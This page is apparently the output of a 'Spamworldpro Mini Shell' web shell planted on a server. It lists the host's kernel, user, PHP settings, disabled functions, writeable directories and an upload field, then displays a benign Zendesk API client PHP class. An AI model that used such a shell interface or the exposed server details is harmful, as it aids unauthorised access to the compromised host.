Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/zendesk/zendesk_api_client_php/src/Zendesk/API/Resources/Chat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/zendesk/zendesk_api_client_php/src/Zendesk/API/Resources/Chat/Apps.php
<?php

namespace Zendesk\API\Resources\Chat;

use Zendesk\API\Resources\ResourceAbstract;

/**
 * The Apps class exposes app management methods
 *
 * @method Apps install()
 */
class Apps extends ResourceAbstract
{
    /**
     * @var string
     */
    protected $apiBasePath = 'api/chat/';

    /**
     * {@inheritdoc}
     */
    protected function setUpRoutes()
    {
        parent::setUpRoutes();

        $this->setRoutes(
            [
            'install' => "{$this->resourceName}/installations.json",
            ]
        );
    }

    /**
     * Installs a Chat App on the account. app_id is required, as is a settings hash containing keys for all required
     * parameters for the app.
     * Any values in settings that don't correspond to a parameter that the app declares will be silently ignored.
     *
     * @param array $params
     *
     * @return \stdClass | null
     */
    public function install(array $params)
    {
        return $this->client->post($this->getRoute(__FUNCTION__), $params);
    }
}

Spamworldpro Mini